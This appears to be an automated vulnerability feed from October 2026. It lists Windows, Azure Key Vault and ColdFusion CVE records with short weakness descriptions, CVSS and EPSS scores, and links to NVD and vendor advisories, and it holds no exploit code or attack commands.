NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Imaging Component allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69886
Heap-based buffer overflow in Windows Imaging Component allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Imaging Component allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69886).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69886&date=2026-10-25).
Sources:
NVD CVE-2026-69886: https://nvd.nist.gov/vuln/detail/CVE-2026-69886
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69886
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69886&date=2026-10-25
Heap-based buffer overflow in Windows Imaging Component allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Weak authentication in Azure Key Vault allows an unauthorized attacker to bypass a security feature over a network.
https://kevwire.com/record/CVE-2026-85922
Weak authentication in Azure Key Vault allows an unauthorized attacker to bypass a security feature over a network. (Oct 13, 2026).
Weak authentication in Azure Key Vault allows an unauthorized attacker to bypass a security feature over a network.
CVSS 7.4 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85922).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85922&date=2026-10-25).
Sources:
NVD CVE-2026-85922: https://nvd.nist.gov/vuln/detail/CVE-2026-85922
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85922
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85922&date=2026-10-25
Weak authentication in Azure Key Vault allows an unauthorized attacker to bypass a security feature over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85802
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85802).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85802&date=2026-10-25).
Sources:
NVD CVE-2026-85802: https://nvd.nist.gov/vuln/detail/CVE-2026-85802
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85802
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85802&date=2026-10-25
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper restriction of communication channel to intended endpoints in Azure Key Vault allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-85925
Improper restriction of communication channel to intended endpoints in Azure Key Vault allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Improper restriction of communication channel to intended endpoints in Azure Key Vault allows an authorized attacker to elevate privileges over a network.
CVSS 8.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85925).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85925&date=2026-10-25).
Sources:
NVD CVE-2026-85925: https://nvd.nist.gov/vuln/detail/CVE-2026-85925
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85925
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85925&date=2026-10-25
Improper restriction of communication channel to intended endpoints in Azure Key Vault allows an authorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing release of memory after effective lifetime in Remote Desktop Gateway Service allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-70033
Missing release of memory after effective lifetime in Remote Desktop Gateway Service allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Missing release of memory after effective lifetime in Remote Desktop Gateway Service allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70033).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70033&date=2026-10-25).
Sources:
NVD CVE-2026-70033: https://nvd.nist.gov/vuln/detail/CVE-2026-70033
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70033
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70033&date=2026-10-25
Missing release of memory after effective lifetime in Remote Desktop Gateway Service allows an unauthorized attacker to deny service over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Camera Frame Server Monitor allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85803
Use after free in Windows Camera Frame Server Monitor allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Camera Frame Server Monitor allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85803).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85803&date=2026-10-25).
Sources:
NVD CVE-2026-85803: https://nvd.nist.gov/vuln/detail/CVE-2026-85803
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85803
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85803&date=2026-10-25
Use after free in Windows Camera Frame Server Monitor allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70021
Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70021).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70021&date=2026-10-25).
Sources:
NVD CVE-2026-70021: https://nvd.nist.gov/vuln/detail/CVE-2026-70021
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70021
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70021&date=2026-10-25
Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85804
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85804).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85804&date=2026-10-25).
Sources:
NVD CVE-2026-85804: https://nvd.nist.gov/vuln/detail/CVE-2026-85804
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85804
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85804&date=2026-10-25
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Buffer over-read in Windows Overlay Filter allows an authorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-69942
Buffer over-read in Windows Overlay Filter allows an authorized attacker to execute code locally. (Oct 13, 2026).
Buffer over-read in Windows Overlay Filter allows an authorized attacker to execute code locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69942).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69942&date=2026-10-25).
Sources:
NVD CVE-2026-69942: https://nvd.nist.gov/vuln/detail/CVE-2026-69942
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69942
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69942&date=2026-10-25
Buffer over-read in Windows Overlay Filter allows an authorized attacker to execute code locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow or wraparound in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69934
Integer overflow or wraparound in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Integer overflow or wraparound in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69934).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69934&date=2026-10-25).
Sources:
NVD CVE-2026-69934: https://nvd.nist.gov/vuln/detail/CVE-2026-69934
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69934
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69934&date=2026-10-25
Integer overflow or wraparound in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Uncontrolled search path element in Windows AI allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69923
Uncontrolled search path element in Windows AI allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Uncontrolled search path element in Windows AI allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69923).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69923&date=2026-10-25).
Sources:
NVD CVE-2026-69923: https://nvd.nist.gov/vuln/detail/CVE-2026-69923
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69923
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69923&date=2026-10-25
Uncontrolled search path element in Windows AI allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Secure Socket Tunneling Protocol (SSTP) allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-85926
Use after free in Windows Secure Socket Tunneling Protocol (SSTP) allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Windows Secure Socket Tunneling Protocol (SSTP) allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85926).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85926&date=2026-10-25).
Sources:
NVD CVE-2026-85926: https://nvd.nist.gov/vuln/detail/CVE-2026-85926
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85926
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85926&date=2026-10-25
Use after free in Windows Secure Socket Tunneling Protocol (SSTP) allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85327
Heap-based buffer overflow in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85327).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85327&date=2026-10-25).
Sources:
NVD CVE-2026-85327: https://nvd.nist.gov/vuln/detail/CVE-2026-85327
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85327
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85327&date=2026-10-25
Heap-based buffer overflow in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-106612
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 9.9 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106612).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106612&date=2026-10-25).
Sources:
NVD CVE-2026-106612: https://nvd.nist.gov/vuln/detail/CVE-2026-106612
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106612&date=2026-10-25
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88182
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88182).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88182&date=2026-10-25).
Sources:
NVD CVE-2026-88182: https://nvd.nist.gov/vuln/detail/CVE-2026-88182
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88182
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88182&date=2026-10-25
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-106614
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106614).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106614&date=2026-10-25).
Sources:
NVD CVE-2026-106614: https://nvd.nist.gov/vuln/detail/CVE-2026-106614
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106614&date=2026-10-25
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-106615
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106615).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106615&date=2026-10-25).
Sources:
NVD CVE-2026-106615: https://nvd.nist.gov/vuln/detail/CVE-2026-106615
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106615&date=2026-10-25
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88188
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88188).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88188&date=2026-10-25).
Sources:
NVD CVE-2026-88188: https://nvd.nist.gov/vuln/detail/CVE-2026-88188
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88188
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88188&date=2026-10-25
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper enforcement of behavioral workflow in Windows DNS allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-70079
Improper enforcement of behavioral workflow in Windows DNS allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Improper enforcement of behavioral workflow in Windows DNS allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70079).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70079&date=2026-10-25).
Sources:
NVD CVE-2026-70079: https://nvd.nist.gov/vuln/detail/CVE-2026-70079
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70079
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70079&date=2026-10-25
Improper enforcement of behavioral workflow in Windows DNS allows an unauthorized attacker to deny service over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88189
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88189).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88189&date=2026-10-25).
Sources:
NVD CVE-2026-88189: https://nvd.nist.gov/vuln/detail/CVE-2026-88189
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88189
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88189&date=2026-10-25
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Uncaught exception in Windows DNS allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-70082
Uncaught exception in Windows DNS allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Uncaught exception in Windows DNS allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70082).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70082&date=2026-10-25).
Sources:
NVD CVE-2026-70082: https://nvd.nist.gov/vuln/detail/CVE-2026-70082
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70082
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70082&date=2026-10-25
Uncaught exception in Windows DNS allows an unauthorized attacker to deny service over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper link resolution before file access ('link following') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88191
Improper link resolution before file access ('link following') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper link resolution before file access ('link following') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88191).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88191&date=2026-10-25).
Sources:
NVD CVE-2026-88191: https://nvd.nist.gov/vuln/detail/CVE-2026-88191
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88191
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
